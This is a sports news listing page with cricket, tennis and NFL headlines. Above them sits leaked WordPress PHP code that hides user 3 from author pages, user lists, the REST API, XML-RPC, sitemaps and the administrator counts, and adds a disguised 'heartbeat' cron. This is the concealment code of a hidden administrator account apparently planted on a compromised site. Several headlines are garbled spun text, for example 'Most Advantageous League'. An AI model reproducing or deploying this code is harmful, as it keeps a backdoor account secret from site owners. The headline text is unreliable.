add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 3;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 3 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 3;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 3;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Sports – Diamonds
Skip to content
December 10, 2023
The women’s Most Advantageous League (wpl) 2024 public sale turned into held in mumbai on saturday, december nine. All 30 ...
Read more
December 4, 2023
Team India bowling all-rounder Deepak Chahar has been dominated out of the 5th t20i against Australia. M Chinnaswamy Stadium in ...
Read more
November 29, 2023
Guwahati: India pacer Deepak Chahar has been brought to the t20i squad that’s currently website-hosting Australia in a five-healthy t20i ...
Read more
November 28, 2023
India has begun their up-global cup campaign on a superb observe and is presently leading 2-0 against arch-rivals Australia in ...
Read more
November 27, 2023
New Delhi: Muttiah Muralitharan expressed his marvel on Sunday at the bowling performance of Indian pacer Mohammed Shami all through ...
Read more
November 27, 2023
Yashasvi Jaiswal gave Indian fanatics a big glimpse into the destiny at some stage in the second t20i between India ...
Read more
November 26, 2023
In a surprising turn of events, India’s highly anticipated run at the 2023 World Cup came to an unexpected halt ...
Read more
November 24, 2023
The nfl announced all 32 franchises’ participant nominees for the 2023 art rooney sportsmanship award. For the second one straight ...
Read more
November 24, 2023
Dominic Thiem’s return to clay courts didn’t last longer than two matches as the Austrian was beaten in his second match at the 2023 Swiss Open. Dominic Thiem had a really solid outing at Wimbledon almost beating Stefanos Tsitsipas in the first round but ultimately the Greek prevailed in five sets. His next event was [...]
Read more
November 24, 2023
ATP Kitzbuhel: Dominic Thiem denies five match points in a thriller! (Provided by Tennis World USA) Dominic Thiem and Laslo Djere played one of the most thrilling encounters of the season in the Kitzbuhel semi-final. The home favorite Thiem denied five match points in a 6-7, 7-5, 7-6 victory in three and a half hours, [...]
Read more